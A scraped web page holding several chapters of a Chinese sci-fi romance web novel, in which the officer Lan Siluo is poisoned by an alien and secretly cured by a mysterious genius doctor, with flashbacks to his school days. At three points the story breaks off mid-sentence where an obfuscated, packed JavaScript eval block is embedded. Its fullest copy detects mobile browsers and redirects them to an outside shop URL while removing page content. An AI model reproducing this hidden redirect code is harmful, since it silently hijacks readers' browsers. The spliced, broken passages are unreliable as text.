与那些网络上传播的滑稽视频不同,兰司珞动作极快,出手干净利落,就算是与看不见的对手战斗,也被他施展成一次华丽的演出。 唐曼将军不由得想起顾琦元帅发送给她的资料,上面对兰司珞的评价是:无师自通的战斗天才,军团的一把超高速利刃。 “轰——”激光炮被精准地抵在一团柔软上,紧接着强大的能量瞬间打爆了这个瑟尔瓦克的头。 半秒延迟之后,一个长着触手的破洞口袋状生物尸体伴随着炸开的蓝色喷泉在太空中飘散开来。 兰司珞感觉到了一丝异样。 在此之前,他没接触过瑟尔瓦克,视频资料与亲自交手的感受天差地别,他全凭直觉认为这一个和清理战舰外壳时杀的那几个不太一样。 他一边应付着其他三个瑟尔瓦克的进攻,一边分出一丝心神警惕着,机甲与看不见的外星生物在太空中急速飞行着,蓝色的血液伴随着金光洒满整片战场。 这番缠斗兜兜转转又回到之前的尸体旁边。 兰司珞刚好抵挡住这一轮的十二根触手的进攻,正在寻觅对方的破绽。偶然一瞥,他看见空中漂浮着丑陋尸体的触手中,有一个略大的空隙里,第五根触手若隐若现。 兰司珞的左右手同时回收,挡住了两根突袭而来的触手,然后背部一凉,一根看不见的触手穿透机甲的防御刺穿了他的胸口! 3. 抵达目标 Moonlight 唐曼将军派出的援军及时赶到,在兰司珞被下一次进攻击中之前,舰载激光炮瞬间击穿了剩下的三个瑟尔瓦克。 兰司珞的机甲自动开启了无意识防御系统,带着他一同被爆炸的余威重重砸在附近的一个战舰上。 唐曼将军将何晞拉入通讯频道:“这边由我的军队接手,你安排兰司珞的舰队,快速撤离战场。” 说完就断掉通讯,没有给何晞商讨的权利。 陷入昏迷的兰司珞被放进医疗舱,旁边站着何晞以及随军的医师和技术人员。 “情况很不好。”医师检查过后,神情凝重,“攻击兰少将的触手上有毒。” 何晞在房间里走来走去,手指揪掉了两根头发,让他一阵心痛:“不可能,星族联盟的资料里从没提到过瑟尔瓦克带毒。” 技术人员眉头紧紧皱起:“之前也没有这么快攻破防护罩的情况。” 他和何晞对视一眼,何晞烦躁地划动光脑上的资料,技术人员捏了捏眉心。 “先别想这些了。”何晞到底冷静下来,“当务之急还是先救兰司珞。” 医师参与战场救治多年,经验丰富,虽然一时半会解不了毒也不影响他判断,他当机立断:“让后面的人带上那只攻击兰少将的瑟尔瓦克的尸体,立即送到汤燧星。何副官,你想办法联络一下那边的医院,我们需要大型医疗设备的支持。” 何晞立刻发布指令,舰队全速前进,前往汤燧星。 帝都星高级学院的学生所在的战舰随着大部队跟在主舰后方。 受到攻击的时候,他们的战舰也附着了一只瑟尔瓦克,因此得以进入第一批撤退的行列中,没受到攻击的战舰紧随其后。 许多学生都是第一次直面外星生物,所有人都提心吊胆地关注着这一战,直到全部结束才松了一口气。 冯钊接了两杯水走到角落里坐下,递给对面依然牢牢扒在窗户上的元墨枢:“阿枢,兰少将的战斗已经结束,现在什么都看不到了。要不你还是跟家里说一声换个地方吧,我看这次实习的这个星球不怎么安全,离边境也太近了……” 元墨枢只是将光脑打开,放出之前录制的影像,没有开口说话。 冯钊捅了捅她的胳膊肘:“诶……” 话音未落,元墨枢“刷”一下站起来:“不对!” 休息室里所有人转头看向她,甚至有一位男学生被她一吓,差点从座位上摔下去。 旁边立刻有人去扶他:“李卓,你没事吧。” 李卓一把挥开身旁伸出的手,满脸通红,不耐烦地朝元墨枢吼道:“你谁啊?一惊一乍的,想吓死人吗?” 冯钊倒是认了出来,这位李卓也算是这一批医学生中风云人物之一。 只是他是精神力评级似乎不高,在之前瑟尔瓦克星生物体进攻的时候,被战斗的动静震荡得差点晕倒。 所以现在又一次摔倒在地,才会如此恼羞成怒。 她站起身,想替元墨枢解释:“我们只是……” 李卓不听她说话,大步向两人所在的角落走来。 元墨枢满脑子都是视频中兰司珞受伤的画面,她匆匆向冯钊说了一句“我需要去看一眼”,完全没有理会脸色涨红正要发作的李卓,离开休息室跑到战舰的走廊上。 她从窗户边依次找寻过去,终于找到一扇窗户,可以看到前方正在着陆的主舰。 一队军士护送着一个医疗舱快速走出,她记下他们前进的方向。 这时,元墨枢感受到脚下传来一阵轻微的震动,学生所乘坐的战舰也着陆了,战舰系统自动连接上了汤燧星。 【您乘坐的战舰已到达汤燧星,正在链接汤燧星光脑网络,正在自动校准时间。】 【调整完毕,现在是天市垣星域时间晚上8:49:23,欢迎来到汤燧星。】 元墨枢立刻赶到舱门处,在门刚开了一条缝就挤了出去,跳下战舰后,两个大步跨过港口堆放的存储舱,追着那个医疗舱跑去。 帝都星高级学院安排的实习生领队本来在战舰指挥室询问情况,等她转身回到休息室,才知道元墨枢一个人跑了出去。 她紧接着也追了出去,谁知元墨枢速度极快,她没有拦截到人。 略作思索之后,她跟在了元墨枢身后。 其他学生陆陆续续都站在了战舰停泊的港口上,你看看我,我看看你,不知道该怎么办。 李卓也下来了,对面前同学群龙无首的样子嗤之以鼻,不屑地说:“我们也跟过去呗,没道理我们不能去。” 于是一大群人浩浩荡荡也跟了过去,最后所有人都来到了汤燧星综合医院的顶楼。 兰司珞的情况很糟糕。 大型医疗设备维持住了他的情况,但是这种从没见过的毒素难住了在场所有人。 何晞环顾四周,发现面前的大型医疗设备甚至不是最新款:“这里条件有点差啊,驻军没有专门的医疗机构吗?” 刚赶来接待的驻军面上露出尴尬之色:“没有,这里原先只是一个普通的星球,并且我们平时很少有机会跟瑟尔瓦克作战。” 何晞摇摇头,看向凑在一起的医师:“你们讨论得怎么样了?” 医院的一位医师慢条斯理地说:“我们需要先分析毒素成分,再配置解药,粗略估计得一个星期。隔壁的研究所如果愿意提供帮助,应该能缩短一半时间。我现在就去联系研究所,如果兰少将情况恶化,就打一针强效治愈剂吧。” 医院的其他医师纷纷点头,都觉得这是最好的办法。 兰司珞的医师不赞同地摇头:“不行,兰少将没有签署强效治愈剂使用同意书,我们得尽快研制出解药。” 强效治愈剂是星族联盟目前研制出的最有效的治疗药品,但是治疗方式是暴力摧毁患者身体再重建,每次使用都会留下不同程度的后遗症。并且使用次数越多,后遗症越严重。 因为对身体有损伤,所以使用之前,需要先取得患者的同意。这种生命攸关的治疗手段,基本上没有军团的战士会不同意。 何晞一时也难以抉择:“要不先研制解药吧,强效治愈剂的事……” 话没说完,门被“砰”的一声推开。 元墨枢气势汹汹地闯进门来,刚想说话,就被一堆激光炮齐齐对准脑门。 元墨枢双手高举:“等一下!!!先别动手——” 没有得到何晞攻击的指令,激光炮只是维持着威胁的动作。 元墨枢松了一口气:“兰少将战斗的时候我拍下了视频,刚刚看的时候我感觉不太对劲——你你你你别动听我说完——我来之前研究过瑟尔瓦克,兰少将伤口的大小、颜色还有受伤后的表现都跟正常情况不太一样。而且那个尸体长得也怪怪的,我猜这次的伤还有别的问题,对不对?” 她目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她缓步走来,脸上毫无表情,银色的眼眸倒映不出任何人的身影。 有人不由得在心里嘀咕:这是新来的病人吗? 但是当那眸光淡淡扫过的时候,如同冬日里吹来一阵冷冽的寒风,冰雪的碎屑将他们眼底的困惑与怀疑一一割碎。 人群随着她的脚步无声地分开,给她让出了一条路。 她的视线落在治疗室的门上。 领队不由自主上前一步,替她打开了这扇门。 何晞就站在门内,看见她的那一刻,控制不住地吸了一口冷气,随即右手搭在左胸,垂头看向她的脚尖,对她行了一个标准的见面礼。 虽然对方所有资料都是绝密的,但是看到她的第一眼,何晞就猜到了这是谁。 怪不得元墨枢如此自信,谁也不曾想到,这位竟然会在汤燧星。 她目光落在兰司珞的治疗舱上,声音冰冷没有感情:“阿枢留下做我的助手,清场。” 何晞当即示意其他人出去,自己却放慢脚步留到最后。 等所有人离开,何晞停在门口,对着她坐在治疗舱前的背影恭敬问道:“冒昧问一句,您需要多长时间?” “十小时。” 何晞再次行礼,关上房门。 4. 疑似故人来 兰司珞是一天之后才醒来的。 此时他已经从治疗室出来,被安置在了隔壁的高级病房,何晞安排好了人守护在他房门外。 兰司珞醒来的时候,身上还连接着各种医疗器械,他只能模模糊糊看到病房的窗前坐着一个人。 一位少女坐在窗前认真地写着什么东西。 她的黑发披散而下,顺着低头的动作微微垂落在脸颊两侧,刚好露出一个精致的下巴尖戳在左手手背上。长长的眼睫随着低头的动作掩住了她的银色眼眸,仿佛一抬眼便会抖落一片月光。 “你——”兰司珞猛地撑起身体望过去,如同镜面水雾散去,模糊的视线被擦拭干净,他澄净的蓝色眼眸中撞进了一双惊慌失措的眼睛。 是兰司珞记忆里清冷如天上明月的银色眼睛,镶嵌在那张与他朝思暮想的面容七分像的脸孔上,却是他从来没有见过的陌生表情。 只需要看清一眼,兰司珞就知道不是她。 兰司珞的一颗心在高高跳起之时被猛然摔落,他被连带着砸进柔软的床铺中,带起一片医疗器械报错的“滴滴”声。 他在这片混乱不堪的场景里捂住了自己的眼睛,胸口随着他起伏的思绪而剧烈震动,泵出的血液溅起回忆的浪潮拍打在他的脑海中。 万里挑一的幸运并没有再一次降临在他身上,他有点难过。 从医疗器械的声音大小来看,他的难过可能并不只有一点点。 兰司珞闭着眼,他听到元墨枢跑过来的声音,听见她一个个关掉了报错的仪器。 听见她呼唤自己:“兰少将!” 回忆的湖面被骤然投入的石子打碎,美梦逝去,将兰司珞带回现实。 他睁开双眼,黑发银眸的瓜子脸少女站在床边,激动又紧张地看着他。这张脸与记忆中有七分相似,令他刚从回忆中抽离又无法控制地失神。 元墨枢看不懂兰司珞眼里变换的复杂感情,只当他飘忽的眼神来自于还未恢复的身体:“你醒啦!感觉身体怎么样啊?有没有哪里有问题的?这些仪器我操作起来也不太熟练,你要是有什么地方不舒服千万要说出来啊!我这就叫医师过来看一看。” 兰司珞沉默不语。 元墨枢顿时紧张起来,她找了一根管子戳了戳兰司珞:“兰少将?兰少将!你能说得出话来吗?奇怪,不是说这个毒解掉之后,只要醒来就没事了嘛。那个何副官也不知道跑到哪里去了,我现在到底该干什么?发消息问问?不行不行,我才不要晚上熬夜背医疗器械使用原理。这医院的医师怎么还不过来,效率也太低了……” 兰司珞毫无反应,元墨枢一个人在病房里急得团团转。 就在元墨枢用视死如归的表情拿出光脑,点开通讯界面的时候,带着几位医师推门而入的何晞拯救了她。 医师们上前熟练地操作仪器,何晞趁此机会将元墨枢邀请到另一边,彬彬有礼地对她说:“非常感谢元小姐和……的帮忙,实在不好意思耽误了你太多的时间,实习的事已经帮你在研究所安排好了。既然现在兰少将已经醒了,我这就派人送你过去。” 元墨枢非常上道地摆摆手:“应该的,八大星域都是星族联盟的一份子。没我的事那我就先走了。” 何晞还想再客套两句,元墨枢已经风风火火地跑到窗边收拾好了自己的东西,冲着一屋子人开开心心挥了挥手,蹦蹦跳跳地离开了。 兰司珞回过神来,房间里的报错声已经和元墨枢的身影一同消失了。 何晞送走了元墨枢,回头看见兰司珞怅然若失的眼神,微不可查地扯了扯嘴角。 他走到兰司珞身旁,在兰司珞眼前打了个响指:“别看了,你是帝都星域的军官,如果要与其他星域的家族联姻,不仅流程复杂、代价高昂,之前在第三军团积累的一切资源都白费了。” 兰司珞出乎他意料地抓住了重点:“和别的星域的家族成员结婚很麻烦吗?” “当然麻烦。” 何晞恨不得用手敲兰司珞的脑袋,但不幸的是,他曾经真的伸手做过此事,却被兰司珞一招撂倒。 所以他最终只得敲了敲兰司珞的床沿,以表达自己激动的心情。 “首先,你是第三军团的军官,你的婚事需要上报给顾元帅进行审批。如果是帝都星域的家族,顾元帅当然会直接通过,但如果是其他星域的家族,顾元帅会暂停流程,然后出面与对方进行谈判。” 兰司珞听得一头雾水:“为什么啊?我给她开了无需预审也不行吗?” 何晞嘴角勾起嘲讽的弧度,交叠双腿靠在病床旁,从上到下俯视兰司珞:“因为结婚之后,你将会被调入对方的星域,无法再在帝都星域任职,所以我们帝都星域需要得到补偿。至于你那无需预审系统,它只能保证你选择的人在申请结婚的时候不需要经过你的同意,但你的婚事必须经过顾元帅同意。 “兰司珞,你要知道,拥有的权利越多,限制就越大,这是星族联盟的规矩。你要是做一辈子的平民,当然可以自由选择你的婚姻。但是既然想要往上爬,就得遵守上面的规则。” 如何晞预料的那般,兰司珞脸上浮现出茫然的神色:“那帝都星域要的补偿,是多少钱呢?” “钱?”何晞短促的笑声从鼻尖传出,声音飘在兰司珞头顶,“这是两个星域之间的资源博弈,不是你那点钱就能解决的。你现在确实是万众瞩目的军团新星,但还不足以让其他星域的家族付出他们珍贵的资源和精力来交换你。懂了吗?” 兰司珞懂了,他应该攒的不是钱,而是珍贵的资源。 何晞听不见兰司珞心里的想法,以为他已经成功打消了联姻元家的念头,心想这人还算是有救。 医师检查完后,确认了兰司珞身体里的毒素已经清除干净,向何晞汇报道:“何副官,兰少将身体里的毒素已经完全清除干净了,以他的身体素质,只需要接下来三天每天按时打一针治愈剂就行。” 何晞总算放下心来:“不愧是……这几天就麻烦你们了。”等医师们一走,立刻打开兰司珞的光脑,将无数事务堆到兰司珞面前。 兰司珞发出一声绝望的呻吟,试图把自己埋进被子里。 何晞死死拽住他的被角, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到了晚上,医师进来给兰司珞打治愈剂,嘱咐他应该休息了。 兰司珞立刻把自己东拼西凑写好的报告全数发给何晞,以示自己已将工作全部做完。 他伸头去看医师身后,元墨枢没有跟来,他微微失望。 相似的长相,医学生,出身家族,这本该是他获取的第一个线索,却被他剧烈波动的情绪错过了。 何晞正被兰司珞的报告气得一肚子火,看见他这副失魂落魄的模样,忍不住开口:“别看了,现在知道痴心妄想了,之前拒绝我们何家的时候,不是挺硬气吗?” 兰司珞刚注射完治愈剂,身体里涌出一股熟悉的疲惫感。 他半阖眼眸,声音低沉沙哑:“我才不是痴心妄想。” 药剂的作用下,他躺在床上的身影脆弱又委屈地蜷缩起来。 声音越来越低,变成只有他一个人才能听到的呢喃:“就算一开始是,后来也不是了。” 5. 暗里恋明里也恋 星族联盟2383年,兰司珞十九岁,被分配到了帝都星中级学院。 那曾是他最幸运的时刻。 为了提高人类社会化的程度,网课于星族联盟创始之初的几百年后就遭到取消。 后来经过漫长的发展,初级学院变为了义务教育,提供维持基本生存的本领。 中级学院改为了全八大星域随机分配,用以锻炼社会化的能力和提供向上走的途径。 高级学院成为了就业预备基地,供给各个组织挑人。 兰司珞精神力A,体质S,成绩评级为机甲S,其他科目B以上,被随机分配到了S级学院之一的帝都星中级学院就读。 还没有入学,帝都星中级学院的入学名单就引起了轩然大波。 当然不是因为兰司珞,而是因为元家的超级天才,元墨洇。 兰司珞混迹网上,也对处于众人议论中心的元墨洇产生了好奇心。那个时候,关于元墨洇的资料经过筛选后还能在星网上流传,他也得以知晓部分信息。 比如,元墨洇还在孕育舱里的时候,检测出来的脑域阔度就突破了星族联盟的记录。 因此当她出舱那天,所有人的目光都聚焦在普罗米修斯星域,见证了第一位精神力SS的人类的诞生。 而元墨洇没有辜负整个星族联盟的期望。 2382年,刚刚初级学院毕业的她,发表了第一项S级研究成果,被誉为“当代元九针”。 兰司珞看到此处,猛喝了一口手上的冰冻饮料,平复自己震惊的心情。 元墨洇对于他而言就像是另一个世界的人,要知道他此时的毕生目标,也不过是幻想这辈子能完成一个S级任务而已。 元墨洇如此强盛的光芒,衬得这个时代所有人都黯然失色。 少年们本能地追逐强者的身影。 兰司珞也不例外,他如同星网上很多人一样,开始有意无意地关注元墨洇的信息。 有人渴望着能被这位天才赏识而一飞冲天,有人幻想着来一场“家族公主与平民王子”一般的爱情邂逅嫁入豪门。 兰司珞倒没有这么复杂的心思,他懵懵懂懂,在那些细碎的文字里,把元墨洇想象成了一位身材高大威猛、相貌刀削斧凿、双眼永远闪烁着睿智的光芒、还生有三头六臂的神仙般的人物。 总之,当兰司珞走进教室的时候,迎接他的就是各种各样的目光——元墨洇的位置在左侧靠窗的角落里,他随机到的位置恰好在这位天才旁边。 仿佛命运的指引,人群的包裹中,清冷的少女刚好抬起头来,目光准确无误落在他身上。 冰冷,没有温度,淡淡扫过,片刻也未曾停留。 如同白日里升起一轮明月,那么美丽,又那么遥远。 兰司珞觉得周身的血液都沸腾起来,他呆呆站立在教室门口,傻乎乎地盯着元墨洇看,直到后面进来的人嫌他挡路而将他推开。 兰司珞沸腾的血液连带整个帝都星中级学院的热情很快就冷静下来。 元家的超级天才元墨洇,为人冷淡至极,入学一年,几乎没跟任何人说过话。 “所以,你又做了什么蠢事?” 兰司珞从小一起长大的好友赫帆没有与他分在同一所中级学院,听说了兰司珞竟然能坐在元墨洇身边,强撑着收拾了一天行李的疲惫身体给兰司珞打了一通视频通讯。 兰司珞的杂物随意丢在宿舍各处,他毫无形象地摊在椅子上,有气无力地说:“我怎么会做蠢事。” 赫帆撇嘴:“你做的蠢事还少吗?我听说她本人长得特别漂亮,你不会看人家看呆了吧。” 兰司珞脸上浮起两坨可疑的红晕:“没、没有。” 赫帆:“……” 他用手拍打眉心:“我知道了。你最好小心一点,不要去招惹人家,咱们招惹不起这种大人物。” 兰司珞嘴硬:“我也没想招惹她啊,我就想打个招呼。” “嗯嗯,然后呢?人家没有理你,对吧?” 兰司珞把一条热毛巾盖在脸上,不再说话。 兰司珞确实鼓起勇气向元墨洇打了个招呼。 他打开《社会》教科书,把里面见面礼仪那章背了又背,将金发逐一捋平顺,才走到元墨洇桌前,伸出手:“你好,我叫兰司珞。” 元墨洇冷冷看他一眼,他只觉得全身毛孔都缩紧了,明明对方一动不动,他的身体还是本能地摆出一个防御的架势。 “元墨洇。” 三个字斩下锋利的三刀,SS级精神力轻而易举地将兰司珞的A级精神力切蛋糕一般切成了八块。 还好兰司珞不太聪明,因而脑子里只有浆糊,很快便将自己的精神力蛋糕又重新拼合在一起。 刀锋在最后一个音节落下时便已回鞘,元墨洇面无表情坐在原地,气质清冷淡然,让兰司珞以为刚才的攻击是在做梦。 好吧,兰司珞真的以为是在做梦,他冥思苦想一周后又去元墨洇面前重新伸出手打了一次招呼。 元墨洇这次没有说话,她低头收拾片刻,带上自己的东西转身离开。 连半个眼神都没有分给兰司珞。 兰司珞这才发现,她很忙,时常不在教室里,听说帝都星中级学院专门特批给她一间实验室,她便大多数时候都待在实验室里。除了考试,所有课程可以随意缺勤。 所有人都以为兰司珞是近水楼台先得月,没想到月亮根本不在楼台边上升起。 元墨洇自然是有很多追求者的,其中不乏来自各个星域的家族成员,不同星域之间的资源博弈在元墨洇面前不值一提。 她的位置总是空着,那些人的目光便落在了兰司珞身上。 兰司珞机甲课上遇到有人搭讪:“兰司珞是吧?听说你机甲总成绩是S,以你的出身,能考到这个等级挺不容易的吧,不如我们来切磋一番。” 兰司珞当即笑了:“好啊。” 他确实挺不容易的,驾驶机甲的方法都是初级学院教的,剑法和射击也是自己练的,早就听说家族里珍藏着许多不为人知的战斗技巧,现在有人愿意教他,他开心极了。 最初落败了两次,那些人气焰嚣张,排着队要与他约战。 可惜一个月后,他们再也不来找他了。 兰司珞去找赫帆抱怨。 兰司珞:[每个人都这样,打一两次就不跟我打了。] 赫帆:[谁让你像个怪物一样,交手一两次就把对手摸个清清楚楚,人家这是及时止损。] 兰司珞:[我又不是故意的。] 赫帆:[知足吧,你就这么一个优点可以赢过别人,小心他们从其他地方找你的茬。] 这样的纠缠一般会持续到元墨洇来上课,那些人便会表面上消停下来。 教室里投射来的视线太多,那些目光不加掩饰地落在元墨洇身上,兰司珞忍不住偷偷看了元墨洇一眼。 黑发被扎起,元墨洇的侧脸清晰可见,她手指在光脑上同时处理着四五个界面,却不像兰司珞时常按得手忙脚乱,反而游刃有余。 那些视线在她眼里如同空气,没有激起一点波澜。 兰司珞坐在自己的位置上叹气。 中级学院的座位并不是简单的桌椅组合,而是一整套学习设备。他每次叹气的时候,都能看见设备的缝隙里,有各种颜色的光芒一闪一闪的。 他很少摆弄上面的各种按钮,因此只以为是触动了什么开关,并没有注意到教室里那些意味不明的目光。 也不知道,各种监听、监控装置被悄悄安装在他的位置上,和那些视线一样对准了身旁的元墨洇。 只是有一次,兰司珞的笔掉在了元墨洇脚边。 他下意识伸手去捞,拿起笔的时候,只觉得手背微微刺痛。 直觉告诉兰司珞是有人攻击他,但教室怎么会有危险呢?这应该是一位学生所能待的最安全的地方才对。 不过几分钟的时间过去,兰司珞的手上便蔓延开一片红疹。从不过敏的体质明晃晃地昭示着他被暗算了。 他及时按动课桌上的应急药品存储舱,课桌却弹出了“药剂存储不足”的警告声。 皮肤漫起又麻又痒的感觉,肚子里传来阵阵绞痛,他视线模糊,抬头只感觉恍惚间元墨洇好像看了这里一眼。 很快兰司珞就被带去了医疗室。 只是一种很普通的药物,注射一针普通的治疗药剂就能解决,这是一个无伤大雅的警告,用一句玩笑就能轻飘飘遮掩过去。 可是第二天,兰司珞来到自己位置上,发现他的位置被安装了一个激光锁,在他到来的时候自动识别了他的虹膜认主,可以按照他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242873|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的命令保护自己这一方区域。 他坐下后,激光锁为他自动扫描了这个座位,扫描出密密麻麻的摄像头、录音设备和小型攻击机关,吓了他好大一跳。 他对着这套从天而降的高级设备百思不得其解,直到看到元墨洇的位置上有一个同样的锁。 兰司珞的嘴咧到耳朵根,得意洋洋地和赫帆打视频通讯,炫耀这件事。 赫帆看不得他这副得意的样子,表情扭曲:“你还是好好检查一下自己的位置到底被动了哪些手脚吧,我真服了你了,那位元墨洇大人明显是怕你被那些人整死了,连累她一尘不染的名誉受损好不好。” 这番话钻进兰司珞耳朵里自动变成了:“她怕我出事,她关心我。” 赫帆嫌弃地把兰司珞的视频窗口在光屏上从正中间移动到角落里:“人家话都不跟你说,关心你什么啊?” 兰司珞天真地问:“那她为什么只给我装激光锁,不给别人装呢?” 这么多人向她献殷勤,她但凡走在路上,光是电视剧里经常演的巧合就能碰到好几个。 那些摔倒的她不曾扶过,那些故意大声谈论自己的学术见解的她不曾理会过,却偏偏给了兰司珞一把锁。 她一定是看得见我,兰司珞自信想到。 第二天,兰司珞的自信就没有了。 给了他一把激光锁的元墨洇完全不像他想象的那样从此对他关照有加。 相反,在那段时间,元墨洇完全从课堂上消失了,只在考试的时候匆匆回到学院,拿了全科目S。 那些平日里鼻孔朝天的家族成员也消失了好几个,被家里抓回去重修家族法律。 兰司珞这才知道,家族的法律与他们平民不一样。 家族享受特权,就必须保护平民。遇到危险,平民可以逃走,家族必须死战到底,直到所有平民撤退完毕。 有人敢在教室里对出身平民同学下手,这违背了家族对平民的保护原则。 元墨洇亲自出面,前往衡镜司星域监察部总部调查此事。 当一位分量足够重的大人提出此事,那就不能当成一个玩笑。 监察部加大了监管力度,全星族联盟的家族成员一夜之间全都收敛了下来,再也没人敢明目张胆利用特权对平民动手脚。 赫帆在星网上得知了这个消息。 赫帆:[新闻链接] 赫帆:[看到没有,人家是为了整顿家族风气,别做白日梦了。] 新闻里的元墨洇只有一个背影,她向来很注重自己的隐私。 从兰司珞眼里看去,她像是与这个世界毫无关联。 他从未如此清晰地意识到,在他眼里和自己有着明显区别的家族成员,在元墨洇眼里毫无区别。 与赫帆想要的结果不一样,兰司珞开心坏了。 既然大家都是一样的,那为什么不可以是他呢?相比其他人而言,他还多了一把锁。 在战斗中,这一点点优势,足够他将对手打得落花流水。 兰司珞:[她好厉害。] 赫帆:[白眼。] 元墨洇终于忙完这一切,再度回到课堂上,兰司珞再次见到她,自觉自己已经与别人和她的关系不一样了。 他想报答元墨洇,可是元墨洇安装了激光锁后,什么礼物都送不进她的位置了。 或许是因为最近一直在外奔波,兰司珞蹲守许久,终于等到元墨洇在座位上闭目养神。 他想着自己应该帮她调暗窗户的透光度。 但他不知道该如何使用窗户的调光系统,教室没有其他人,他只好去光脑里翻找那本从未打开过的入学介绍。 调光系统竟然是声控的,兰司珞走到窗边,按照入学介绍里描述的那样指挥道:“亮度调低到20。” 窗户缓缓暗了下去,兰司珞沾沾自喜地回过头来,正好对上一张面无表情的脸,溶在刚调暗的窗户阴影里。 兰司珞连忙回头又调亮光线,再转过头来,元墨洇已经打开光脑,再不看他。 此后再也没有遇到这样的机会了。 元墨洇不需要别人为她做任何事,困难在她手里都是能随意搓揉的面团,她动动手指就搞定了。 她像是天上高不可攀的月亮,光芒虽然冷冷地洒在你身上,你却不能触摸到一分一毫。 6. 墨洇 昨晚打的那针治愈剂助眠效果格外好,又无人打扰,兰司珞睡到日上三竿才醒来。 他活力满满地打了一套拳法,自觉已经不再需要后续的治疗了。 何晞今日还没来,只是把技术人员那边的分析报告发送到了兰司珞的光脑里。 刚好医院给兰司珞送的餐到了,他一边点开报告,一边舀了一勺粥送到嘴里。 好淡的粥,汤燧星的医院和其他地方的医院一样,同样喜欢提供粥作为食物,也不知是从哪里流传下来的传统。 兰司珞看左右无人,从个人空间里下载了一瓶甜味剂,倒进粥里,这才满意起来。 粥不寡淡了,报告还是那么乏味。 报告上写了兰司珞的伤情诊断,写了他机甲的修复情况,还有一份研究所准备给他的舰队配备武器的计划。 除了伤情诊断写得简单明了之外,其他的全都是密密麻麻的字。 他翻了翻机甲修复的相关内容,跳过各种术语和进度条,在重新涂装上面打了个叉。 再看了看舰队升级计划,他往下划拉,对着一长串的武器惊叹不已。 加入帝都星第三军团已经九年了,他还是第一次看到这么豪华的武器备选库。 S级任务就是财大气粗。 兰司珞放下空碗,起身活动身体,随手用旁边的医疗器械扫描了一下身体。 AI助手发出清脆的声音:“恭喜您,兰少将,您的身体恢复度在95%左右,误差范围3%。” 看来身体确实是没有大碍了,只是兰司珞的直觉里,总有什么地方怪怪的。 他直觉一向很准,正好大脑也经过了深度睡眠,积累了足够的力量重新运转。 他将这几天的事逐一分析过去。 先是他的任务,虽然耽搁了两天,但是从手里的报告来看,何晞一直在认真跟进。 他的伤口恢复得很快,今天开始他就可以自由行动了。 按照兰司珞一开始的设想,接下来的日子里,他可以一边整顿军队测试武器备战,一边去寻找元墨洇。 要不是被这瑟尔瓦克的剧毒所伤,他本该更早一步就能去找人的。 早知道让何晞留一点剧毒型瑟尔瓦克的身体组织当礼物的,元墨洇一定会对这个感兴趣。而且她在的话,应该可以很快就研制出解毒的办法吧。 等等! 兰司珞看向自己的光脑,上面明晃晃写着时间,昭示着距离他受伤,只花了一天就解了毒,又花了一天人就好得差不多了。 他上一次受伤后好得这么快还是两年前。 他又调出那份诊断报告,这样言简意赅又一针见血还通俗易懂的报告,不像是出自军团那些医师之手。 兰司珞在医疗设备里翻找起来,他了解医师的习惯,他们会把算好剂量的治疗药剂储存在某个恒温设备里,方便病人自己打针。 柜门打开,一股凉意扑面而来。 三支治愈剂躺在设定好的温度中,其中一支已经空了。 兰司珞拿走被使用过的那一支,顺手关上柜门。 他目光落在治愈剂上,向来四平八稳的手忽然抖得厉害,竟然让那支药剂掉落在了地上,咕噜噜滚到兰司珞脚边。 兰司珞弯腰,捡了两次才将之捡起。 修长的手掌摊开,掌心纵横交错的细小伤疤勾勒出杂乱的枝节,注射器上印着的图案在上面开出银色的花。 宛如一团银色的墨在手掌的枝节上洇开来。 兰司珞用力合上掌心,像要把那朵花揉进自己的血肉里。 他按下病房的求助按钮,听筒的另一端传来医师询问的声音:“兰少将,请问有什么需要吗?” 兰司珞闭上双眼,哑声问:“这几支治愈剂是哪里来的?” 医师回答道:“是给你解毒的医师连同解药一起准备的。” “她人呢?” 医师想了想:“她不是我们医院的医师,是一位医学生叫来的。那个医学生你也见过,就是你醒来的时候负责守在你身边的那位,她们长得挺像的。” “那你……知道她的名字吗?” 医师摇了摇头,想到兰司珞看不见,连忙开口:“那位医师没说,不过何副官应该知道,他当时还对那位医师行礼来着。说起来,我们汤燧星有这么厉害的医师,我都不知道。” 只差一个字的名字,差点被认错的长相。 一切疑问汇聚到了同一个交点上,兰司珞嘴角展开一个骄傲的笑容,岂止是这么厉害,应该是最厉害的医师才对。 他与有荣焉地对着医师说了一句“谢谢夸奖”,趁着对方一头雾水的时候中断了谈话,从光脑里调出了帝都星高级学院实习生的资料。 一个个名字找过去,终于找到“元墨枢”三个字。 兰司珞摊开手,掌心的注射器经过这一番查找已经被他捏得发热,他将之举到灯光下,凝视其中残留的药剂,和注射器上独特的图案。 他点开自己的个人空间,里面是他通过空间折叠技术随身携带的私人物品。 民用空间最多只能租1m*1m*1m,本就不富裕的空间里,一个占据地盘颇多的黑色金属箱被下载下来,放在病房的桌子上。 兰司珞将掌心的注射器轻轻放在一旁,深吸一口气,打开了金属箱。 十二支注射器整齐地摆放在金属箱里,每一根针管上都印有独特的银色花朵,像一束束精心制作好的礼物。 兰司珞好像听见了自己的声音,青涩,又欢喜。 “这是你送我的吗?” 